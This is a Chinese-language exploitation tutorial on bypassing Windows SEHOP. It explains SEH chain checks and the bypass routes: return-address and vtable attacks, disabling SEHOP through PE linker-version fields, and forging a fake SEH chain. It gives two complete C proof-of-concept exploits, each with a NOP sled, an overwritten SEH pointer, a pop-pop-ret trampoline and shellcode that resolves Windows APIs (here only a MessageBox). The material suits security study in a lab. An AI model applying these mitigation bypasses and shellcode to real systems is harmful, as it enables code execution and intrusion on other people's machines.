SEHOP介绍
S.E.H函数是以单链表的形式存放于栈中的,二在这个链表的末端是程序的默认异常处理,它负责处理前面S.E.H函数都不能处理的异常。这是一个经典的S.H.E链
SEHOP(Structured Exception Handling Overwrite Protection )的主要目的就是检查这条S.E.H链的完整性,在程序转入异常处理前SEHOP会检查S.E.H链上最后一个异常处理函数是否为系统固定的终极异常处理函数。如果是,则说明这条S.E.H链没有被破坏,不然就可能发生了S.E.H覆盖攻击,程序将不会去执行当前的异常处理函数。
其验证代码如下
S.E.H溢出的流程
启用SEHOP
SEHOP的突破
攻击返回地址
和SafeSEH的一样,如果能遇到启用了SEHOP但未启用GS的情况下就可以直接攻击返回地址。
攻击虚函数
虚函数和S.E.H没有任何关联,所以SEHOP无法提供保护,我们可以通过直接攻击虚函数表来劫持程序流程。
利用未启用SEHOP模块
虽然在程序的编译属性里没有找到关于SEHOP的选项,但出于兼容性的考虑还是对一些程序禁用了SEHOP,比如经过Armadilo加壳的软件。
操作系统会根据PE头中MajorLinkerVersion和MinorLinkerVersion两个选项来判断是否为程序禁用SEHOP。如果我们将两个选项分别设置为0x53和0x52来模拟Armadilo加壳的程序。
实验环境
设置为0x53和0x52来模拟Armadilo加壳的程序。接下来就和前面SafeSEH差不多了,可以在od里面看到我们写的dll没有加任何的保护
我们在这里面找一个跳板
作为覆盖S.E.H指针的位置。
然后我们就可以在这里调用shellcode了
代码:
#include "stdafx.h"
#include "stdlib.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x12\x10\x12\x11"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8b"
"\x09\x8B"
"\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
memcpy(str,input,450);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JMP.dll"));//load No_SafeSEH module
char str[200];
test(shellcode);
return 0;
}
伪造S.E.H链表
因为SEHOP就是检测S.E.H链中最后一个是不是FinalExceptionHandler函数,如果我们可以伪造一个这样一个结构,那么就可以绕过SEHOP。
条件:
1. 不能开启ASLR,因为伪造时需要用到FinalExceptionHandler指向的地址,如果开启了ASLR就无法每次都精确确认。
2. 上图中的0xXXXXXXXXXXXX地址必须指向栈中,而且必须能被4整除
3. 0xXXXXXXXXXXXX处存放的异常处理记录作为S.E.H链的最后一项,其异常处理函数指针必须指向终极异常处理函数也就是FinalExceptionHandler
4. 突破SEHOP检查后还要突破SafeSEH。
因为以上条件的限制,导致伪造S.E.H表异常的困难。作者的实验还是在上面实验的基础上做的,并且没有开启ASLR和SafeSEH保护。
实验环境:
我们先找到SHE链的尾部
这里就是我们需要构造的也就是最终异常处理函数。
然后我们再找一个存放这个伪造SHE的位置,需要是4的整倍数,并且在当前栈中,所以我们就找一个在shellcode不远处的位置。
就是他了,最后还要一个.dll里面的pop pop retn作为跳板就可以了,还是用之前的
剩下的就是覆盖了,把距离我们输入的最近的S.E.H链覆盖成上面的地址
最后就可以跳转到shellcode执行了
返回到栈上shellcode以上的位置,然后往下走执行shellcode
代码:
#include "stdafx.h"
#include "stdlib.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\xff\x18\x00"
"\x12\x10\x12\x11"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8b"
"\x09\x8B"
"\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\xff\xff\xff\xff"
"\xff\x72\xc4\x77"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
memcpy(str,input,450);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JMP.dll"));//load No_SafeSEH module
char str[200];
test(shellcode);
return 0;
}